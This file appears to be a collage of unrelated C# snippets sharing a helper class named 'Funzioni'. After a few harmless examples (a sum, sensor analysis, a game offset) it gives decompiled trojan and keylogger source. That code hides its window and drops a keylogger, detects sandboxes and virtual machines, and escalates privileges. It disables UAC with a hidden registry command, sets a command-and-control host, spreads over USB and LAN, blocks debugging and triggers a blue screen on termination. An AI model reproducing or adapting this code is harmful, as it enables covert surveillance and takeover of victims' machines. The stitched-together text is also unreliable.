static void Main(string[] args) { int n1 = 5, n2 = 3; int somma = Funzioni.somma(n1, n2); Console.WriteLine($"{somma}"); }
static void Main(string[] args) { double[,,] sensorValue = MovRecSocket.acquisition(); Funzioni.printmultimatrix(sensorValue); double[,,] modulo = new double [sensorValue.GetLength(0), sensorValue.GetLength(1), 2]; modulo = Funzioni.modulo(sensorValue); Funzioni.printmultimatrix(modulo); double[,,] theta = new double[sensorValue.GetLength(0), sensorValue.GetLength(1), 1]; theta = Recognizer.orientamento(sensorValue); bool[,,] staz = Recognizer.stazionamento(Funzioni.devStandard(modulo, 10)); Funzioni.printmultimatrixbool(staz); Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Analisi myAnalisiFrom = new Analisi(modulo, theta); Application.Run(myAnalisiFrom); }
static Vector3 func_147(int iParam0) { float fVar0 = 6.28319f / 16 * iParam0; return GetOffsetFromEntityInWorldCoords(Wheel.Entity.Handle, 0f, Funzioni.Deg2rad(15.3f) * Funzioni.Rad2deg((float)Math.Sin(fVar0)), Funzioni.Deg2rad(-15.3f) * Funzioni.Rad2deg((float)Math.Cos(fVar0))); }
static void Main(string[] args) { Funzioni.InserisciNumeroArbitrarioProdottiInElenco(); }
public void Form1_Load(object sender, EventArgs e) { try { if (!MyProject.Computer.FileSystem.FileExists(SplitFunzioni.ProtectionFiles)) { MyProject.Computer.FileSystem.WriteAllText(SplitFunzioni.ProtectionFiles, "", true); } this.IsAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); this.Visible = false; this.ShowInTaskbar = false; try { MyProject.Computer.FileSystem.WriteAllBytes(SplitFunzioni.KeyloggherExePatch, Chat.My.Resources.Resources.Autorestart, false); } catch (Exception exception1) { ProjectData.SetProjectError(exception1); ProjectData.ClearProjectError(); } try { File.Delete(SplitFunzioni.KeyloggherDatPatch); } catch (Exception exception2) { ProjectData.SetProjectError(exception2); ProjectData.ClearProjectError(); } File.WriteAllText(SplitFunzioni.KeyloggherDatPatch, "1"); bool flag = true; foreach (Process process in Process.GetProcesses()) { if (process.ProcessName.ToString() == "usersdat") { flag = false; break; } } if (flag) { try { Process.Start(SplitFunzioni.KeyloggherExePatch); } catch (Exception exception3) { ProjectData.SetProjectError(exception3); ProjectData.ClearProjectError(); } } this.BuildSetting(); this.cpu = Funzioni.GetCPU(); Thread thread = new Thread(new ParameterizedThreadStart(Form1._Lambda$__1)); thread.SetApartmentState(ApartmentState.STA); thread.Start(this.cpu); SplitFunzioni.MineForm = this; if (MyProject.Computer.FileSystem.FileExists(SplitFunzioni.BlakListPath)) { SplitFunzioni.BlakListFind = MyProject.Computer.FileSystem.ReadAllText(SplitFunzioni.BlakListPath); } Thread thread2 = new Thread(new ThreadStart(this.ProcessKill)); thread2.SetApartmentState(ApartmentState.STA); thread2.IsBackground = false; thread2.Start(); SplitFunzioni.ListProtect = MyProject.Computer.FileSystem.ReadAllText(SplitFunzioni.ProtectionFiles); string[] strArray = Strings.Split(SplitFunzioni.ListProtect, "\r\n", -1, CompareMethod.Binary); int num3 = strArray.Length - 2; for (int i = 0; i <= num3; i++) { ProtectionSettings settings = new ProtectionSettings(); string[] strArray2 = strArray[i].ToString().Split(new char[] { '|' }); settings.ElevateAdmin = Conversions.ToBoolean(strArray2[0]); settings.HideProcess = Conversions.ToBoolean(strArray2[1]); settings.HideFile = Conversions.ToBoolean(strArray2[2]); settings.ExecutionDelay = Conversions.ToBoolean(strArray2[3]); settings.ExecutionDelayTime = Conversions.ToInteger(strArray2[4]); settings.StartUP = Conversions.ToBoolean(strArray2[5]); string patch = strArray2[6]; new FileProtector(settings).Start(patch, true); } if (this.Autorun) { this.AutoRunKey(); } this.Timer1.Start(); } catch (Exception exception4) { ProjectData.SetProjectError(exception4); Process.GetCurrentProcess().Kill(); ProjectData.ClearProjectError(); } }
public void BuildSetting() { string legalTrademarks = FileVersionInfo.GetVersionInfo(Application.ExecutablePath).LegalTrademarks; string strCode = "ctOSMoney"; string[] strArray = Strings.Split(this.DecryptAES(legalTrademarks, strCode), "|E|", -1, CompareMethod.Binary); if (Conversions.ToBoolean(strArray[0x21])) { Thread.Sleep((int)(Conversions.ToInteger(strArray[0x22]) * 0x3e8)); } if (Conversions.ToBoolean(strArray[12]) && this.antiSandboxie()) { Interaction.MsgBox("Fatal error", MsgBoxStyle.Critical, "Sandboxie Control"); Process.GetCurrentProcess().Kill(); } if (Conversions.ToBoolean(strArray[13]) && this.CheckAvastSandBox()) { Interaction.MsgBox("Fatal error 0x00906", MsgBoxStyle.Critical, "Avast"); Process.GetCurrentProcess().Kill(); } if (Conversions.ToBoolean(strArray[14]) && this.VBOX()) { Interaction.MsgBox("This application is not configurate to work in this area", MsgBoxStyle.Critical, "Error 0x0004"); Process.GetCurrentProcess().Kill(); } if (Conversions.ToBoolean(strArray[15]) && this.VMW()) { Interaction.MsgBox("This application is not configurate to work in this area", MsgBoxStyle.Critical, "Error 0x0004"); Process.GetCurrentProcess().Kill(); } if (Conversions.ToBoolean(strArray[0x10])) { string lpModuleName = "Karnel32.dll"; if (GetProcAddress((IntPtr)GetModuleHandle(ref lpModuleName), "wine_get_unix_file_name") != IntPtr.Zero) { Interaction.MsgBox("This application is not configurate to work in this area", MsgBoxStyle.Critical, "Error 0x0004"); Process.GetCurrentProcess().Kill(); } } if (Conversions.ToBoolean(strArray[0x11]) && this.QUEMU()) { Interaction.MsgBox("This application is not configurate to work in this area", MsgBoxStyle.Critical, "Error 0x0004"); Process.GetCurrentProcess().Kill(); } if ((!this.IsElevatedProcess() && Conversions.ToBoolean(strArray[0x1a])) && !this.IsElevatedProcess()) { this.RestartElevated(); } if (Conversions.ToBoolean(strArray[30])) { if (MutexCheck(strArray[0x1f])) { ProjectData.EndApp(); } else { this.SetMutex(strArray[0x1f]); } } if (!((WindowsPrincipal)Thread.CurrentPrincipal).IsInRole(WindowsBuiltInRole.Administrator) && Conversions.ToBoolean(strArray[10])) { ProcessStartInfo startInfo = new ProcessStartInfo(); Process process = new Process(); ProcessStartInfo info3 = startInfo; info3.UseShellExecute = true; info3.FileName = Application.ExecutablePath; info3.WindowStyle = ProcessWindowStyle.Hidden; info3.Verb = "runas"; info3 = null; process = Process.Start(startInfo); Process.GetCurrentProcess().Kill(); } Socketss.host = strArray[0]; Socketss.port = Conversions.ToInteger(strArray[1]); Socketss.ServerName = strArray[2]; this.Autorun = Conversions.ToBoolean(strArray[3]); this.NameFristKey = strArray[4]; this.Hidex = Conversions.ToBoolean(strArray[5]); this.Clone = Conversions.ToBoolean(strArray[6]); this.NameSecondKey = strArray[7]; this.CloneName = strArray[8]; this.HideClone = true; string str4 = strArray[11]; if (str4 == "ProgramFiles") { this.saveClone = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles.ToString() + @"\"; } else if (str4 == "MyDocuments") { this.saveClone = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments.ToString() + @"\"; } else if (str4 == "Cookies") { this.saveClone = Environment.GetFolderPath(Environment.SpecialFolder.Cookies) + @"\"; } else if (str4 == "Temp") { this.saveClone = MyProject.Computer.FileSystem.SpecialDirectories.Temp; } else if (str4 == "Roaming") { this.saveClone = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\"; } else { this.saveClone = strArray[11]; } if (this.Autorun) { this.AutoRunKey(); this.Timer1.Start(); } this.USB = Conversions.ToBoolean(strArray[0x12]); this.LAN = Conversions.ToBoolean(strArray[0x13]); this.P2P = Conversions.ToBoolean(strArray[20]); this.Yahoo = Conversions.ToBoolean(strArray[0x15]); if (Conversions.ToBoolean(strArray[0x16]) && !this.pe.IsWatcher) { this.pe.Start(); Funzioni.ProtectProcess(); } if (Conversions.ToBoolean(strArray[0x18])) { Funzioni.AntiDebug(); } if (Conversions.ToBoolean(strArray[0x19])) { Funzioni.AntiDllInjection(); } if (Conversions.ToBoolean(strArray[0x1b])) { if (!this.IsElevatedProcess()) { this.RestartElevated(); } else { Interaction.Shell(@"C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide, false, -1); } } if (Conversions.ToBoolean(strArray[0x1c])) { Funzioni.DisableZonechecks(); } if (Conversions.ToBoolean(strArray[0x20])) { Hide_Process_From_TaskManager.Running = true; } if (Conversions.ToBoolean(strArray[0x1d])) { Funzioni.UnkillableProcessExploit(); } Funzioni.BlueScreenOnTermination(Conversions.ToBoolean(strArray[0x17])); this.Timer2.Start(); }